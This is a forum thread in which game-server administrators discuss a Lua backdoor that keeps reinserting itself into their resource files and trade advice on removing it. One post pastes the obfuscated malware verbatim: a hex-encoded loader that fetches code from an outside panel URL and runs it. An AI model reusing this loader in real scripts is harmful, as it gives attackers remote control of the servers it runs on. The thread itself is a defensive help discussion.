Hey.
I made a search on the new virus infection codes and found a lot from it in my script.
I removed them and after every server restart it’s coming back into the resources lua’s files.
anyone knows how to get rid from this?
1 Like
My intial advice is, don’t trust a machine that has been infected, reinstall the whole machine. You don’t know how deep your OS got infected.
Then to answer your topic, also try looking for the initial payload e.g. search for code with Enchanced_Tabs. You might still not be able to find it if it’s in obfuscated/“encrypted” code.
1 Like
Hey.
If that’s encrypted how can I find it so?
I deobfuscated it a few months ago, this is the code:
anyway, it’s a malware made extremely bad, it inject on rconlog, the most funny thing is that the path is static, so if you simply move the rconlog resource the malware will never infect you again, i’ve also written a little guide on how to protect yourself from this trash
i hope its “dont install suspicious/‘leaked’/modified/‘improved’ resources from third party websites”, the fact that this stuff exists and is somehow popular really does show that most people are dangerously careless with server hosting.
1 Like
How to remove that rcon shit?
My rcon in server cfg is #rcon_password “”
And I don’t have any rcon resource …
1 Like
You can read the How to protect against this backdoor section in my github repository
Yeah I used the blocked domain method, but they can just do it from another domain…
When searching in my resources I couldn’t find any rconlog resource… shall I have it?
Probably the resource is changed, but however the domain is that one, they use that one, therefore enough that you block that one is you have removed the problem
No? Why would you leave your server vulnerable with malicious code, the events it registers still exist, you should make sure to completely remove the malware code instead of just ignoring it away.
@L1R ignore what he’s saying, you should go through all of your resources and check for the malware code.
2 Likes
Sorry but if the code is all executed remotely from that url, what malicious code should still be there, anyway just open my repository and read the section How to protect against this backdoor or read the code and understand by yourself how it works.
Another thing, don’t raise the tone and start insulting, i am here to have fun and help, not to be insulted, thanks.
1 Like
ridicilous argument, malicious code could rewrite hosts, or fall back to a different url/ip/whatever if it ever gets updated.
Maybe dont spread nonsense advice? saying “ignore it” is grossly negligent.
if it ever gets updated.
This is the part you should think about, the code (as you can see from the github) is almost all executed remotely, so if you block the connections to that url (for now) you’re done.
…until the victim updates the resource or downloads a different one with the infection.
After an analysis on my server, I found where that virus was located, blessed vscode! and coincidentally it has been in the RCORE_ARCADE script, after eliminating that code and “disinfecting” the machine with the HXAV that is on github, I have verified that the virus disappeared forever, even so I have taken measures to prevent it from happening again, I advise you I attach a screenshot of the code that the virus put in the script.
1 Like
I’m having an issue. There is malware in one of my resources. I spent 7 hours one day looking and 5 yesterday.
local nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[4][nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x64\x78\x6c\x37\x36", function (dtoZoIzlKVWHWkdRzMDXAvcCbuCiuBMqUVeRurfhItZZIlnLeDhQCCjlQlbZBXIirZpHqB, DkVkLEeNPFntsvJLKlRTVUjvzThOmPuUueWnhJimJrYFjEVcpBgiNQoCqEhhbhZZjaiKfU) if (DkVkLEeNPFntsvJLKlRTVUjvzThOmPuUueWnhJimJrYFjEVcpBgiNQoCqEhhbhZZjaiKfU == nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[6] or DkVkLEeNPFntsvJLKlRTVUjvzThOmPuUueWnhJimJrYFjEVcpBgiNQoCqEhhbhZZjaiKfU == nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[5]) then return end nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[4][nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[2]](nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[4][nKTOxfgYSWNozIkcZKKmBadXqqvpQGTbVDSyBUSCcZEdFLksNNBiSkTevShjblfADwPeCm[3]](DkVkLEeNPFntsvJLKlRTVUjvzThOmPuUueWnhJimJrYFjEVcpBgiNQoCqEhhbhZZjaiKfU))() end)
Hello, i have the virus too, but i cant find it 
can u send me the link of HXAV ? thank you
Im looking for help too, did u find a way?
Guys use VsCode and search for suspicious code , it might do 50% of the disinfection , also read your code before installing it , you will also learn how it works . great community , Love u guys
Were you able to fix it?